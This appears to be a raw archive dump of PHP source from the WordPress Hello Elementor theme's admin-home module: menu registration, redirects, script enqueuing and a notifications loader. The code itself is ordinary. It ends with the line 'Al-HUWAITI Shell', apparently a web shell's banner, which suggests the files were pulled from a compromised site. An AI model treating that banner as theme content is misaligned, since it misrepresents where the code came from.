	public function __construct() {
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_hello_plus_settings_scripts' ] );
		add_action( 'hello-plus-theme/admin-menu', [ $this, 'register_settings_page' ], 10, 1 );
	}
}
components/admin-menu-controller.php000064400000004434152425671150013672 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use HelloTheme\Includes\Script;
use HelloTheme\Includes\Utils;

class Admin_Menu_Controller {

	const MENU_PAGE_ICON = 'dashicons-plus-alt';
	const MENU_PAGE_POSITION = 59.9;
	const AI_SITE_PLANNER_SLUG = '-ai-site-planner';
	const THEME_BUILDER_SLUG = '-theme-builder';

	public function admin_menu(): void {
		add_menu_page(
			__( 'Hello', 'hello-elementor' ),
			__( 'Hello', 'hello-elementor' ),
			'manage_options',
			EHP_THEME_SLUG,
			[ $this, 'render_home' ],
			self::MENU_PAGE_ICON,
			self::MENU_PAGE_POSITION
		);

		add_submenu_page(
			EHP_THEME_SLUG,
			__( 'Home', 'hello-elementor' ),
			__( 'Home', 'hello-elementor' ),
			'manage_options',
			EHP_THEME_SLUG,
			[ $this, 'render_home' ]
		);

		do_action( 'hello-plus-theme/admin-menu', EHP_THEME_SLUG );

		$theme_builder_slug = Utils::get_theme_builder_slug();
		add_submenu_page(
			EHP_THEME_SLUG,
			__( 'Theme Builder', 'hello-elementor' ),
			__( 'Theme Builder', 'hello-elementor' ),
			'manage_options',
			empty( $theme_builder_slug ) ? EHP_THEME_SLUG . self::THEME_BUILDER_SLUG : $theme_builder_slug,
			[ $this, 'render_home' ]
		);

		add_submenu_page(
			EHP_THEME_SLUG,
			__( 'AI Site Planner', 'hello-elementor' ),
			__( 'AI Site Planner', 'hello-elementor' ),
			'manage_options',
			EHP_THEME_SLUG . self::AI_SITE_PLANNER_SLUG,
			[ $this, 'render_home' ]
		);
	}

	public function render_home(): void {
		echo '<div id="ehe-admin-home"></div>';
	}

	public function redirect_menus(): void {
		$page = sanitize_key( filter_input( INPUT_GET, 'page', FILTER_UNSAFE_RAW ) );

		switch ( $page ) {
			case EHP_THEME_SLUG . self::AI_SITE_PLANNER_SLUG:
				wp_redirect( Utils::get_ai_site_planner_url() );
				exit;

			case EHP_THEME_SLUG . self::THEME_BUILDER_SLUG:
				wp_redirect( Utils::get_theme_builder_url() );
				exit;

			default:
				break;
		}
	}

	public function admin_enqueue_scripts() {
		$script = new Script(
			'hello-elementor-menu',
		);

		$script->enqueue();
	}

	public function __construct() {
		add_action( 'admin_menu', [ $this, 'admin_menu' ] );
		add_action( 'admin_init', [ $this, 'redirect_menus' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );
	}
}
components/scripts-controller.php000064400000001054152425671150013322 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use HelloTheme\Includes\Script;

class Scripts_Controller {

	public function __construct() {
		add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );
	}

	public function admin_enqueue_scripts() {
		$screen = get_current_screen();

		if ( 'toplevel_page_' . EHP_THEME_SLUG !== $screen->id ) {
			return;
		}

		$script = new Script(
			'hello-home-app',
			[ 'wp-util' ]
		);

		$script->enqueue();
	}
}
components/notificator.php000064400000003070152425671150011773 0ustar00<?php
namespace HelloTheme\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Notificator {
	private ?\Elementor\WPNotificationsPackage\V120\Notifications $notificator = null;

	public function get_notifications_by_conditions( $force_request = false ) {
		if ( null === $this->notificator ) {
			return [];
		}

		return $this->notificator->get_notifications_by_conditions( $force_request );
	}

	public function __construct() {
		if ( ! $this->ensure_notifications_class_loaded() ) {
			return;
		}

		$this->notificator = new \Elementor\WPNotificationsPackage\V120\Notifications( [
			'app_name' => 'hello-elementor',
			'app_version' => HELLO_ELEMENTOR_VERSION,
			'short_app_name' => 'hello-elementor',
			'app_data' => [
				'theme_name' => 'hello-elementor',
			],
		] );
	}

	private function ensure_notifications_class_loaded(): bool {
		if ( class_exists( 'Elementor\WPNotificationsPackage\V120\Notifications' ) ) {
			return true;
		}

		$elementor_autoload = defined( 'ELEMENTOR_PATH' )
			? ELEMENTOR_PATH . 'vendor/autoload.php'
			: WP_PLUGIN_DIR . '/elementor/vendor/autoload.php';

		if ( file_exists( $elementor_autoload ) ) {
			require_once $elementor_autoload;
		}

		if ( class_exists( 'Elementor\WPNotificationsPackage\V120\Notifications' ) ) {
			return true;
		}

		$hello_theme_autoload = HELLO_THEME_PATH . '/vendor/autoload.php';
		if ( file_exists( $hello_theme_autoload ) ) {
			require_once $hello_theme_autoload;
		}

		return class_exists( 'Elementor\WPNotificationsPackage\V120\Notifications' );
	}
}

Al-HUWAITI Shell